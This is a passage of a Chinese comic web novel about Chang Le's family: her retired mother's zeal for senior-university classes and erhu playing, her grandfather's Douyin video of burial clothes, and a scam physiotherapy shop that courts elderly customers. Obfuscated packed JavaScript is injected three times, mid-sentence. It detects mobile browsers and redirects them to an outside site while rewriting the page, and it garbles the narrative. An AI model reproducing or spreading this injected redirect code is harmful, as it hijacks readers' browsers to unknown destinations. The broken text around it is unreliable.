林文娟半年前从医院退休,因为不想再重复以前的生活,所以她拒绝了医院的返聘和几家私立医院的邀请。在老同事的推荐下,她去了附近一所老年大学咨询和试听,从此打开新世界的大门。 两百块就能报一门课,学的是琴棋书画之类的高雅艺术,还没有考试和升学的压力。 世上竟有这种好事? 她一口气报了四门,按照课程表重新规划自己的每日行程,从此生活又充满了节奏感。 只是,她的卷王属性渐渐暴露,开始不满足于一周只上四节课…… “你妈疯了。”常建民叹气道。 “怎么说话呢?”林文娟斜乜他一眼,“我这是勤奋好学,刻苦上进,退休后也不忘提升自我。我们院长说我是前所未有的好学生,书法老师说我的笔触有米芾的神韵,二胡老师说我是班上第一个能拉出一首完整的曲子的,还有……” 趁她喋喋不休之际,常乐小声问常建民:“她怎么疯了?” 常建民偷瞄了林文娟一眼,吐槽道:“老年大学有规定,每学期最多能报四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585066|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个班,你妈嫌不够,又跑到其它几个区的老年大学,总共报了十二个!” 常乐:“……” 十二个?这是要考研呐? 常建民继续诉苦:“问题是,她不敢开车,所以要我送她去上课,我这一天天的,上午去东山区,下午去南港区,晚上回北湖区,周末还得陪她去参加什么家校共育活动……哎哟喂,比上班还累啊!” 常乐唏嘘一声,以示同情。 林文娟听到父女俩在蛐蛐她,不服气地说:“我热爱学习还有错啦?而且一门课才两百块,上哪儿找这么便宜的培训班?” 不愧是姥姥的女儿,薅羊毛的天赋真是一脉相承。 “那你也没必要报一样的课吧?光是那二胡课,你就报了三个!” “进度不一样嘛,而且乐器就是要多多练习啊,一周上三节,本来就不多。” 常乐恍然大悟:“难怪你是第一个能拉出一首完整曲子的,原来是题海战术啊。” 林文娟挑挑眉,脸上写满了卷王的骄傲。 常乐好奇地问:“你的二胡呢?给我展示一下你的学习成果呗。” 常建民和姥姥姥爷都微微变了脸色。 “好啊。”林文娟立马起身,“在楼上,我去拿。” 常建民干笑两声:“我看没这个必要吧,饭还没吃完呢。” 林文娟没理他,转身离开了餐桌,出门噔噔地往楼上跑。 等她回来时,餐桌边只剩下一个常乐。 “人呢?” 常乐左右张望,“姥爷去看胜宝了,姥姥在厨房,爸去上厕所了。” ……大家突然都忙起来了。 “哎,不管他们了。”林文娟打开琴匣,取出二胡和琴弓,坐在椅子上摆好架势,正要起范儿,余光瞥见姥姥从厨房里走了出来。 她急忙喊道:“妈,过来啊!你不是最喜欢这首《赛马》吗?” 姥姥在厨房门口踟蹰半天,这才慢吞吞地走了过来,坐下时,顺手取下了耳朵上的助听器。 常乐:“……” 不妙啊。 林文娟又伸长脖子,冲洗手间大吼:“常建民!把屎夹断了给我滚出来!” 洗手间传来冲水声,几秒钟后,常建民蔫巴巴地出来了,小声嘟囔着:“叫我干啥啊?我在家天天听……” 林文娟把手机递给他:“给我录个视频,我要发给老师看。” 一切准备就绪,林文娟煞有介事地清了清嗓,挺直腰背,右手开弓—— 调子一起,常乐就感觉天灵盖被一脚踢飞了。 这首曲子叫什么来着?《赛马》?她没记错吧? 应该叫《杀驴》。 伴随着尖锐爆鸣的音调,常乐仿佛能看到一头驴跌宕起伏的一生——驴拉磨哼哧带喘,驴打滚死皮赖脸,驴恋爱了鬼迷日眼,驴发.情了,驴发狠了,驴发癫了,驴发猪瘟了,驴嘎了…… 静默几秒后—— 驴又活了,这一次它是扭轱辘·真驴…… 一曲终了,余音袅袅,屋里响起稀稀拉拉的掌声。 姥姥又戴上了助听器,姥爷也从某个角落慢悠悠地晃了出来。 常乐叹服:姜还是老的辣啊。 “怎么样怎么样?” 面对林文娟充满期待的眼神,常乐拱起两腮的肉,咧开嘴角,连连点头:“不错不错。” 林文娟还等着她发表高见,没想到就这俩字,她颇为不满:“还大学生呢,词汇量还比不上卖菜的老大爷。” 常乐绞尽脑汁,努力回忆着高中语文课本,有句诗是怎么说来着? 呕哑嘲哳难为听。 不行不行,这句她听得懂。 后面还有一句—— 常乐摇头晃脑,字正腔圆道:“如听阴乐耳暂冥。” 常建民哼嗤一笑:“书都读到狗肚子里了。什么音乐?那是仙乐。” “是是是。”常乐点头如啄米,“仙乐,仙乐。” 林文娟终于满意了。她收好二胡,拿起手机回看了一遍自己演奏的视频,然后打开微信,发给一个叫“钟二胡”的人。 没过一会儿,就收到了回复。 林文娟满脸喜悦,举起手机向众人展示,洋洋得意道:“看吧,钟大师夸我了。” 常乐凑近一看,“大师”发来了一串大拇指,还说:【有很大的进步】 紧接着,又弹出俩字: 【空间】 常乐憋笑差点憋出内伤。 4. 4 晚饭到这儿,基本就收场了。 常乐帮姥姥收拾完桌子,一扭头,就看见姥爷半躺在沙发上,手机黏在手上,眼睛黏在手机上,嘴角还噙着一丝意味不明的笑。 想到他之前鬼鬼祟祟的样子,常乐心中蹿起一股无名火。 她蹑手蹑脚地走到沙发边,屏住呼吸,弯下腰,偷看姥爷的手机。 又是抖音的私聊页面。 老人的手机用的超大字体,常乐毫不费力就看清了聊天的内容—— 对面:【爷爷,有没有人说你长得像苏大强?】 常乐怀疑自己看错了:苏大强?是她知道的那个苏大强吗?是那个爱喝咖啡、爱撒娇、爱蔡根花宝贝的苏大强吗? 她把姥爷上下打量一番。 除了眼袋大了点,眼睛小了点,头顶秃了点,脸皮皱了点,脑袋像一枚大号鸵鸟蛋之外……哪里像了? 手机里,姥爷回了几个笑脸,对面又来一句:【我可以叫你Daddy吗?】 常乐:?!?! 这是在……调……情……吗? 跟一个老头?一个八十多岁、穿着居家棉服、躺在沙发上挠肚皮的老头? 互联网上都是些什么牛鬼蛇神啊! 姥爷似乎没看懂,发过去一个脑袋冒问号的黄豆人。 对面热情不减:【Daddy,你气质这么好,穿这几套衣服肯定很帅[飞吻][飞吻][飞吻]】 紧接着发来几张图片和链接。 常乐的怒气值骤降,疑惑值飙升。 对话的走向出乎她的意料。不像是变态隔着网线骚扰老头,倒像是男装店主在广撒网打广告,又或者是什么针对老年人的新型杀猪盘? “咳咳!” 常乐清了清嗓,姥爷吓得一哆嗦,慌里慌张地藏起手机,扭头瞪着她。 “姥爷。”常乐坐到他旁边,酝酿着措辞,决定委婉一点,“不是我说你,眼睛不好就少玩手机。你看你,老花眼都多少度了,还玩!小心把眼睛玩瞎!” “不玩了不玩了。”姥爷面露尬色,视线躲闪,试图岔开话题,“也不知道胜宝吃饱了没有,我去看看。”说着就从沙发上起身。 常乐寸步不离地跟在他身后,吓唬他:“网上有很多骗子,知道吧?先是跟你套近乎,假装赞美你,关心你,目的就是骗你买东西,或者骗你投资理财。还有啊,别人给你发链接,千万别点,一点开你账户里的钱就没了!” 姥爷摆了摆手,不以为意:“嗐,我一老头子,一没财二没色的,有什么可骗的?” “你有退休金啊。” “那才几个钱?能干什么?” ……才几个钱?常乐捂着胸口,感觉被捅了一刀—— 比我工资还高呢。 你瞧不上就给我啊,总比被骗走强。 姥爷背着手溜达到狗窝前,挠了挠胜宝的脑袋,又捋了捋它鸡毛掸子般的大尾巴,嘴里还哼着轻快的小曲儿。 常乐看着他的背影,又生一计。 “姥爷,把你手机借我用一下,我给你下载个国家反诈中心app。” “早装了,社区网格员上门帮我们装的。” “呃,那个……你更新了吗?隔几个月就要更新一次的,不然接收不到最新的通知。” 姥爷回头瞥着她,半信半疑:“这么麻烦?” “是啊,手机就是这样,要经常更新,不然就死机了。”常乐煞有介事地说,“我帮你弄吧。” 姥爷迟疑了一下,又转过头,“算了,懒得弄。等网格员上门再说吧。” 常乐彻底没辙了。 固执的小老头,跟叛逆期的中学生一样,不服管也不听劝。 她盯着姥爷毛发稀疏的后脑勺,恨恨地想,最好对面真是个变态,今天叫他daddy,明天就要买他的原味内.裤,让他见识一下什么叫小众xp,震碎三观,从此夹起尾巴上网。 -- 常乐决定这几天就睡在姥姥姥爷家。 一来,胜宝临近预产期,随时会发动,两位老人熬不了夜,只能由她守着。 二来,那一堆行李太沉了,搬上搬下的没必要。万一她过完年找到了工作又要走呢? 晚上,林文娟从家里扛来一床刚晒好的厚被子,又找出常乐的居家衣物、洗漱用品之类,连同几个大箱子,统统搬进了一楼的次卧。 收拾床铺时,常乐悄声问林文娟:“妈,你有姥爷的抖音吗?” 她决定从他的粉丝下手,挨个钓鱼,誓要把那个疑似变态给揪出来。 “好像有吧……”林文娟不太确定,掏出手机翻找着,“我玩得少,你姥爷倒是经常拍视频,都是自娱自乐。喏,这个就是——欸?” 她愣住了,眯眼凑近手机,一脸不可置信。 “怎么了?”常乐好奇地探过头,看向她的手机,也是一愣。 视频还没仔细看,但右下角那一千多的点赞、两百多的评论,着实把她吓了一跳。 “这是姥爷的账号?”常乐难以置信。 一条视频的点赞量比她所有的加起来都高,这老头这么受欢迎吗? 林文娟也觉得奇怪:“‘退休的林教头’,是这个名儿,没错啊……怎么会有这么多人看?” 常乐产生一个大胆的猜想:“姥爷该不会背着我们偷偷当了网红吧?” 林文娟没接话,点进姥爷的主页,粉丝数才三百多,比素人强点,但离网红还差得远了。 常乐提醒她:“看看他哪条视频最火。” 林文娟往下一划拉,很快就找到了,就是刚刚刷到的那条—— 视频点开,伴随着欢快的唢呐声,姥爷那张熟悉的脸出现在了屏幕里。他笑眯眯地说:“网购了几套寿衣,大家帮我参谋参谋,出殡那天穿哪套好呢?” 常乐:?! 这谁能忍住不看下去? 视频拍摄手法很单一,内容也平平无奇,就是姥爷的换装秀。他先是穿着一套深色的西装四件套,正面展示、侧面展示、背面展示,然后是一套灰色中山装,重复刚才的动作,第三套是枣红色唐装,最后是一身雪白的晨练服…… 总共时长不到二十秒,一句废话没有,就跟PPT自动播放似的。 点进评论区,热评第一条是:【选第四套,纯棉的,烧起来香香的】 常乐想笑,硬是憋住了,生怕一笑十年功德就没了。 退出视频,点赞量又涨了一百多。 常乐能猜到点赞的网友都是出于什么心理。 连她都忍不住畅想起来,她该穿什么衣服进火化炉呢?是花了她半个月工资的优雅小香风,还是那套满足她的少女心的洛丽塔呢?是那套气质超绝的米色风衣,还是平时穿得最多的黑色羽绒服呢? 最好化个全妆再走,但她自己肯定操作不了,得提前约个化妆师,不对,那叫入殓师…… 正胡思乱想着,林文娟突然冒出一句:“五千多买件大衣是不是太贵了?” 常乐愣愣地:“啊?” “上次逛商场,我看中一件大衣,打完折还要五千多呢,我没舍得买。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585067|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林文娟惋惜地叹了口气,“早知道就买了,等我下葬的时候穿。” 常乐恢复了理智:“妈,你现在考虑这个是不是太早了点?” “提前准备着嘛,你看你姥爷,多有先见之明。”林文娟自言自语,“那件大衣还是纯羊绒的呢,里衬是真丝面料,贵有贵的道理啊……唉,还是再等等吧,等开春了肯定还会降价。反正一时半会儿也死不了。” 常乐:“……” 林文娟离开前,还在惦记着那件大衣。常乐有预感,明天一早她就会冲进商场霸气刷卡,把心上衣娶回家。 -- 夜深了。常乐洗完澡,换上一身粉底白花的秋衣秋裤,从热气腾腾的洗手间里出来,哆哆嗦嗦地钻进被窝里。 电热毯已经将床褥烤得暖烘烘,身上的寒意很快被驱散,她像是被秋日的阳光裹着,从头发丝到脚趾头都舒坦而满足。 胜宝的狗窝被安置在床边,她一伸脑袋就能看到。此刻,这位准妈妈蜷成一团,睡得正酣。 常乐放下心来,摸到手机,打开,看到珍姐发来的一连串微信: 【常乐,我今天面试了两家,一言难尽,现在工作实在太难找了。】 【我想试试自媒体,你说做哪个赛道好呢?母婴、美食、还是情感博主?】 【你年轻,脑子活,给点建议。】 常乐一下子来了精神。 这不巧了嘛,她家里正好有一颗冉冉升起的抖音新星呢。 她趴在床上打字:【给你看我姥爷的】 她在抖音上找到“退休的林教头”,把那条热度最高的视频转发给珍姐。 过了足足五分钟,珍姐才回复:【咱姥爷这起号方式,真是……】 常乐:【令人害怕】 珍姐发了个掩面笑的表情:【这赛道一般人也闯不进去。】 常乐:【是啊,黄泉道,以后可以做花圈带货、纸钱测评、火葬场探店系列】 珍姐:【一对比,我选的那几个赛道都人满为患,不搞点创新很难有流量啊。】 常乐认真分析道:【确实。母婴赛道关键在于小孩够不够可爱,能不能一秒吸引住网友的目光。美食赛道不管是拍摄手法还是拍摄内容,都要不断推陈出新。至于情感博主,涨粉很慢,而且不太好变现。】 珍姐:【是啊,想赚钱,要么接广告,要么直播带货。前提都是要有一定的粉丝量。】 珍姐:【你说演那种狗血家庭剧行吗?比如婆媳矛盾、夫妻吵架、亲戚争家产之类的。】 常乐:【那得家里人配合吧?你老公和婆婆都愿意出镜吗?】 珍姐:【我明天跟他们谈谈。赚钱嘛,不丢人。】 常乐:【加油!】 结束跟珍姐的聊天,常乐放下手机,望着泛黄的天花板,心头浮起一股淡淡的忧愁。 姥爷的事,妈妈的事,珍姐的事,还有胜宝的事,每个人的事她都要操心。 可她自己的事呢?下一份工作在哪里?拖欠的工资怎么办?劳动仲裁有用吗?就算有用,能顺利拿到钱吗? 一切都让人苦恼。 转念一想,她虽然没房没车没钱没工作也没对象,但至少无病无灾,没有房贷车贷,没有养娃压力,也没有养老负担,甚至连上个月的花呗,也按时还清了。 现在回到家里,吃得好,住得好,还不用花钱。运气好的话,还能从爸妈那里讨点零花钱。 她有什么可担心的? 常乐长舒一口气,翻了个身,把被子裹紧。 睡觉! 5. 5 睡得早醒得早,常乐睁眼时,闹钟还没响。 两只胳膊从热乎乎的被窝里挣脱,伸了个大大的懒腰,顺便按亮了床头的灯。 这一觉睡得真舒服啊。 回想起上班的时候,每天被闹钟无情地吵醒,意识瞬间从梦中抽离,感觉魂都要散了。从被窝里钻出来时,心情那叫一个沉重。 原来自然醒是这种感觉啊,真是久违了。 一转头,胜宝已经醒了,车座子脑袋搭在枕头边,圆眼睛滴溜溜地转着,口水把床单浸湿了一大片。 常乐伸长脑袋,查看她的肚子——还好,没漏气,看来昨晚没生。 门外传来哗啦的水声,估计是姥姥起床了。 就这么一会儿工夫,冷空气已经入侵了被窝,常乐的后背凉飕飕的。她从地上捡起掉落的居家服穿上,光脚趿着棉拖鞋,推门走出了房间。 胜宝晃晃悠悠地跟在她身后。 正巧碰上姥姥从洗手间里出来。姥姥有些诧异:“起这么早?” “早什么呀?我平时上班都这个点起。”常乐吹牛从来不打草稿。 墙上的挂钟刚指向六点。 姥姥撇撇嘴,“我信你个鬼。” 常乐一笑,打着哈欠钻进了洗手间。 出来时,姥姥已经穿戴严实,提着买菜小拉车准备出门了。 “买菜去啊?”常乐走到阳台,给胜宝的碗里添满狗粮,又泡了碗羊奶。 “嗯呐,你早上想吃啥?小笼包还是煎饼?” 常乐想了想,“牛肉粉,菜市场后门最边上那家,要大份的。” 姥姥斜她一眼,“尽挑那最贵的点。” 常乐嘿嘿一笑,“那家店是我小学同学她妈开的,报我名字能加肉。” “行了,我记下了。”姥姥打开门,冲她摆摆手,“你回床上补觉吧,我得一个小时后才能回呢。” 常乐惊讶道:“你买的啥菜啊,要那么久?” 刚刚提到牛肉粉,她的味蕾已经起反应了。以她对自己的了解,如果半个小时内没有吃到那口热乎的,她将会化身成一头失控暴走的饿狼。 姥姥:“我得去趟理疗店,排队加电疗至少得半小时呢。” 常乐:“……” 这大清早,赶着去上当受骗啊。 眼看姥姥就要关门,常乐急忙喊道:“我跟你一起去!” 姥姥:“就买点菜,用不着两个人,你回去躺着吧。” 常乐迫不及待地说:“我也想试试电疗。姥,你不知道啊,我们社畜浑身上下都是毛病,身体素质还不如你们老年人呢。我也想体验一下这种高科技嘛。” 姥姥犹豫片刻,点头了:“行吧,新用户可以领鸡蛋,家里的正好吃完了。” 常乐飞速刷牙洗脸抹水乳扎头发,全程不过十分钟,姥姥已经催了三遍了:“磨磨蹭蹭的,比你姥爷还墨迹。赶紧的,里面座位有限,去晚了要等第二批了。” “等等。”常乐冲进卧室,“我换身衣服。” “哎唷,换什么换,就穿这身挺好的。” 常乐穿上棉袜,飞快地套上羽绒服,一边拉拉链一边说:“总不能让我穿居家服出门吧。” “这有什么,在家当睡衣,在外当棉袄,大家都这样。” 姥姥没骗她。从她家到小区大门这短短的一段路,她们已经跟五个居家服打招呼了。 大家的神色都挺坦然,松弛感拉满。 小区大门正对着一个下沉式圆形广场,广场被高大的香樟树包围,此刻,太阳刚刚升起,枝叶间漏下点点亮光。几个老头正在树下打太极。 常乐一眼就看见站在最边上的姥爷,他正敛眉闭目,伴随着柔美的古筝曲,摆出一个抱大西瓜的姿势。 在他面前一米远的地方,立着一个三脚架,架子上夹着手机。 “姥爷起这么早呢?”往常他都是要等早餐买回来了才起床的。 姥姥也觉得奇怪,嘀咕道:“他昨天一晚上翻来覆去的不睡觉,搞得我也没睡好。天没亮就起了,不知道又发什么鸡瘟。” 回忆起昨晚那条视频,常乐的心倏地一沉。 她上网上久了,什么营销炒作的套路都见过,所以,看到那条视频的第一反应是,没想到这个2G冲浪的小老头,也学会标题党博眼球蹭流量那一套了。 熄灯入睡前,她忽然想到,不对啊,姥爷怎么会想到做寿衣穿搭这条赛道的?背后有高人指点吗?还是说…… 他察觉到,自己的大限之日快到了? “哎,姥儿,”常乐歪着脑袋凑到姥姥耳边,“姥爷是不是检查出什么大病了?” “啊?”姥姥大惊失色,“他得什么大病了?” 看姥姥这反应,不像是装的。常乐斟酌着措辞,压低声音说:“我是在问你啊。他最近有没有偷偷去医院做体检?” “啊?他去医院了?查出什么了?” “……” 这是什么驴唇不对马嘴的对话。 姥姥见常乐沉默不语,以为真出事儿了。她一把攥住常乐的胳膊,脸色凝重,语气严肃:“是不是你爸妈偷偷跟你说了什么?你姥爷得什么病了?你可别瞒着我啊。我活了这一把年纪了,什么大风大浪没见过?说实话吧,我扛得住。” 她说着就哽咽了,下一秒就要抹眼泪。 常乐都无语了。 她叹了口气,说:“姥,你这助听器里是不是装了什么AI写文系统啊?我就随口问了一句,你就能脑补出这么多狗血剧情?” “随口一问?正常人谁大清早的问这个?”姥姥半信半疑。 常乐解释道:“我昨天看到姥爷发的抖音视频,说他买了几套寿衣,准备出殡的时候穿。我觉得挺奇怪的,你说,他要是没得大病,怎么会突然想到这种事呢?” “哦,你说这事儿啊,我知道。”姥姥松了口气,手上的力道也松了几分,“你姥爷这个人,听风就是雨的。前阵子他看新闻,说什么人口老龄化加速、死亡率越来越高、以后墓地都不够用了之类的,他觉得墓地肯定会涨价,就去城东的墓园买了两块墓地,等我俩百年之后用得上。” “墓地都买了,那寿衣也得提前准备着。我是无所谓的,到时候找一套平时穿的就行,他个老东西臭美得很,买了几套都不满意,还说要发到网上去,问问网友意见……啧啧,要穿那么好看干嘛?到时候不都是一把灰?” 常乐没想到是这样的起因,呆愣了半天,关注的重点却变成了—— “墓地要多少钱啊?” “一个五万。” 常乐不禁咂舌。 人活着要买房,死了还要买坑,真是烧钱的一生啊。 她突发奇想:“一个坑能放几个骨灰盒啊?等我嘎了,能不能跟你们挤一挤?” “你……嘎?”姥姥显然没听懂年轻人的网梗。 “就是死了。”常乐抱住姥姥的胳膊,摇晃着撒娇,“五万块,留着吃吃喝喝多好啊,我可不想花这个冤枉钱。等我死了,就跟你们挤一挤,咱们一家人,永远不分离。” 姥姥从她的臂弯里抽出胳膊,一巴掌削在她后脑勺上。 “你个倒霉孩子,瞎说八道什么呢?懂不懂避谶啊?” “……” 常乐捂着脑袋,倍感委屈。 还避谶呢,你家老头子都把谶当流量密码了,你也不管管。 -- 刚出小区大门,常乐就被眼前的场景给震住了——理疗店门口已经排起了一条长队,目测至少有三十人,其中还有不少老头老太太自带折叠凳,边排边唠嗑。 问题是,店还没开门呢。 发鸡蛋而已,又不是发钱,至于这么拼嘛。 “快去排队!”姥姥拽着常乐的胳膊,小跑了起来。 “不吃早饭吗?”常乐有些抗拒,香喷喷的牛肉粉还在等着她呢。 姥姥头也不回,“做完再去吃,空腹做疗效更好。” 两人站到了队伍末端,之后不断有人汇入,队伍很快拐了个弯。 排在常乐前面的是翠姨——孙奶奶的女儿,跟林文娟年龄相仿——她顶着一头棕色小卷毛,穿着一身棕色羊羔绒,乍一看有点像泰迪成了精。 脚边还有一只肥滚滚的柯基。 “翠姨。”常乐硬着头皮跟她打招呼。 翠姨人挺热情,就是特别爱打听,喜欢问东问西,小区一有风吹草动,她总会出现在吃瓜一线。 “哎,乐乐回来了?今年怎么回得这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585068|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早?放几天假啊?” 常乐一边应付她,一边观察她牵的那条柯基。 差点忘了她回家的首要任务——揪出奸夫。 “翠姨,这是你家狗吗?之前没见过。叫什么啊?多大了?” “它叫泡芙,快两岁了。”翠姨用脚尖抬起小狗的下巴,“这小东西花了我三千呢。狗舍说它爸妈是赛级犬,你瞅瞅,这长相这体型这毛色,多标致啊。” “两岁啊……”常乐若有所思,又问:“绝育了吗?” 翠姨大大咧咧地说:“没呢。我家泡芙品相这么好,绝育了多可惜啊。怎么着,你要跟它配种吗?” 常乐:?! 你骂人挺脏啊! 翠姨也意识到说错话了,急忙堆起笑脸道歉:“哎唷你看我这嘴笨的,说话都不过脑子。我的意思是,你家要是也养了柯基,可以跟它配个种。这么好的基因可不能浪费了,是不是?” 常乐面无表情地说:“我家养的边牧。” “那算了,串串没人要。”翠姨迅速扯到下一个话题:“对了,能不能跟你妈说说,别在家里拉二胡了。我家泡芙胆子小,受不了刺激,一听那声音就叫唤,吵得我都神经衰弱了。” 常乐:“……咱们两家隔了两栋楼呢。” 翠姨:“狗的听力好嘛。谁家里吵个架,谁家里炒个菜,它都听得一清二楚,。” 常乐干笑两声:“都说狗随主人,它这爱八卦的性子真是随了你了。” 翠姨没听出她的阴阳怪气,一转头又换了个话题:“欸,那个是易诚吧?你俩谁大点?” 她冲队伍前方抬了抬下巴。 在一众花白头发中,一个乱蓬蓬的黑色后脑勺吸引了常乐的注意。 他比周围人高出一大截,即使穿着一身小熊图案的棕色居家服,也不显臃肿。衣领和头发之间,露出一小段后颈,白得晃眼。 “我大。”常乐转开视线,心说,我是他姑奶奶。 “哗啦——”卷帘门拉开了。 队伍骚动起来,几个老头老太太收起折叠凳。 常乐跟着队伍慢慢向前蠕动,思绪却飘到了很远。 她想起小区里有一个爱当媒婆的大姨,三番两次想撮合她和易诚,都被她毫不留情地拒绝了。 大姨备受打击,沮丧又困惑:“多好一小伙儿啊,长得俊,脾气好,关键是一起长大的,知根知底。你怎么就不考虑一下呢?” 为啥不考虑? 很简单,因为—— “他克我。” 大姨更疑惑了:“你俩测过八字了?” 常乐摇摇头,开始细数易诚的罪状: “六岁时,他带我玩双杠,把我两颗门牙都摔断了。” “哎哟喂,你这……六岁正好是换牙的年纪,摔断了还能重新长嘛。你看,你现在的门牙就长得挺整齐的。” “十岁,他放鞭炮,把我的羽绒服炸成了鸡毛掸子。” “这事我知道,也不能全怪他……他家后来不是给你买了件新的嘛。” “十五岁,他在小区玩轮滑,把我铲飞了!我一屁股磕到花坛上,尾椎差点骨折了!养了三个月才好!那三个月我是怎么过来的,你知道吗?” 大姨讪笑道:“哎呀呀,男孩子淘气嘛,他也不是故意的。再说了,他后来不是还接送你上学嘛。我们都看在眼里,觉得你俩真的挺配的。” “……” 这才是最早的性缘脑吧。她磕到了,大姨也嗑到了。 常乐深吸一口气,斩钉截铁道:“总之,我跟他,绝对不、可、能。” 因为这三段惨痛的经历,这些年,两人的关系一直很微妙。 她把易诚当克星,易诚把她当债主。 她躲着易诚,是对他产生了ptsd,总觉得一靠近他就要倒霉。 易诚躲着她,大概是出于愧疚,或者,他也觉得玄学的力量太可怕。 店门口大概是起了争执,队伍停止前进了。常乐踮着脚、伸长脑袋想看热闹,视线却总是不自觉地飘向那个鹤立鸡群的后脑勺。 他打着哈欠回头,视线一瞬定格,一秒后,脑袋又转了回去。 脖子还往下缩了几寸。 常乐忍不住笑了。 6. 6 又过了十多分钟,才排到常乐。 姥姥向门口负责登记的男店员介绍她:“这是我外孙女,第一次来,今天还能领鸡蛋吧?” “可以的。”店员递来一本登记簿,彬彬有礼地说,“麻烦你在这里填写姓名和电话。” 常乐拿起笔,在本子上填好自己的信息,然后领到了一张小卡片和一小袋鸡蛋。 卡片正面印着公司名,反面是一张表格。店员在第一格盖了个黄豆大小的印章,并介绍道:“新用户可以免费体验三十次。满十次可以领一袋卫生纸,满二十次可以领一袋米,满三十次能领一个价值1299的电饭煲哦。” 常乐狐疑地挑起眉。不仅全程免费,还有阶段性奖励,这是纯做慈善啊。 “那你们怎么赚钱?” 店员笑眯眯地说:“公司董事长为了回馈社会,发起了这项公益活动,旨在为老年人提供全面安心的健康服务,不收取任何费用哦。” 常乐一针见血:“我又不是老年人。” 店员面不改色:“您是老年人的家属,一样可以享受优待。” ……真够扯的。 常乐冲他点点头:“那可真是太感谢你们了。” 她推开玻璃门进店,环视一圈。前厅不大,陈设简单,一目了然——几十张椅子排列整齐,面朝讲台,跟听讲座似的。每张椅子上都铺着一块黑色方形坐垫,垫子之间连着电线,还有一些小零件挂在椅背。 空位不多,最后一排有两个,正好在易诚的左后方。 那她就不客气了。 常乐领着姥姥坐下,好奇地东张西望——两侧墙上挂着宣传板,写着什么“红外磁电的十大功效”“健康养生的八大秘诀”之类的,正面墙上有个大屏幕,正在播放一个戴眼镜的白发老头的采访视频:“经科学研究表明,红外磁电能有效抑制癌细胞……” 常乐冷嗤一声。 前排,易诚微微偏了偏头,耳根连着脖子泛起了一层浅红。 “哎,小易啊。”姥姥突然开口。 易诚终于回头,恭敬地喊了声:“李奶奶。” “没,我在喊你爸呢。”姥姥拍了拍易诚左边男人的肩膀,笑着说,“志刚啊,你来得比我都勤。” 男人缓慢地转过头,冲姥姥咧嘴一笑,喉咙里发出断断续续的声音:“嗯,我每天……都来……” 常乐这才发现,这个佝偻的老头竟是易叔叔。 上次见他,他的头发还没有全白,身形也比现在魁梧。一年时间,他苍老了好多。 惊愕的表情只在脸上停留了一秒。她迅速调整笑容,跟他打招呼:“易叔叔好。” 易叔叔将目光转向她,神色有些疑惑,张了张嘴,发出含糊的声音:“啊,你是……” “我是常乐。”常乐主动接话,“以前你还骑摩托送我上学呢。” 易诚视线低垂,解释道:“他的记忆力越来越差,很多事都忘了。” 姥姥叹了口气:“唉,这个病就是这样……好在他还年轻,坚持治疗,经常锻炼,康复的希望还是很大的。” 常乐忍不住插话:“治疗也得去专业的机构啊,你来这里——”她瞟了瞟四周,压低声音,“没用啊,明摆着是骗钱的。” 易诚眼睫微抬,与她视线相接。 二十五岁的男孩,眼底已初显疲态,额前凌乱的头发又添几分颓色。 “我知道,医院的康复训练每周都会去,可我爸就信这个。”易诚无奈地笑了笑,“医生说他得多走动,不然身体会越来越差,但他又不喜欢出门……来这里他倒是愿意,所以我每天带他来做两次,一来一回的,就当锻炼了。” 常乐仍不放心,提醒道:“来做做可以,但是千万别花钱——” 话未说完,一道清亮的女声插了进来:“呀,干爸,早上好啊!昨晚睡得还好吧?” 常乐回过头,一个齐耳短发的年轻女店员从两排座椅间挤了进来,笑盈盈地跟易叔叔打招呼。 常乐斜乜着易诚,用嘴型问:“干爸?” 易诚面露窘色,小声解释:“我爸是他们的重点推销对象。” 短发女依次给易叔叔和易诚打开设备。看到后排的姥姥,她又扬起笑脸,招呼道:“李婆婆,早上好啊。哎哟,您可太勤快了,每天都准时准点到。昨天跟您推荐的按摩枕,您考虑得怎么样了?三千八一个,您带两个,我给您申请个内部折扣价——” 姥姥嚷嚷道:“啊?听不见,你说大点声!” 常乐的耳膜差点震破了。 转头一看,姥姥已经提前摘下了助听器。刚刚的一顿推销全说给空气听了。 短发女脸色讪讪的,起身正要离开,姥姥又是一嗓子:“你倒是给我开开啊!” 应付完姥姥,她又转向常乐,将两只带电线的夹子分别夹在常乐的两根食指上。 “美女是第一次来吧?”她问,“之前有体验过我们的红外磁电脉冲治疗仪吗?” 常乐摇摇头。 “那我给您开低档,您先感受一下。”说罢,短发女打开底下的开关。 霎时,常乐感觉指尖像被蚂蚁叮咬,蹿起一丝丝刺痒,紧接着,大腿和后背也泛起一股酥麻感。 身上越来越痒,又没法抓,常乐只好学狗熊蹭树,在椅背上蹭来蹭去。 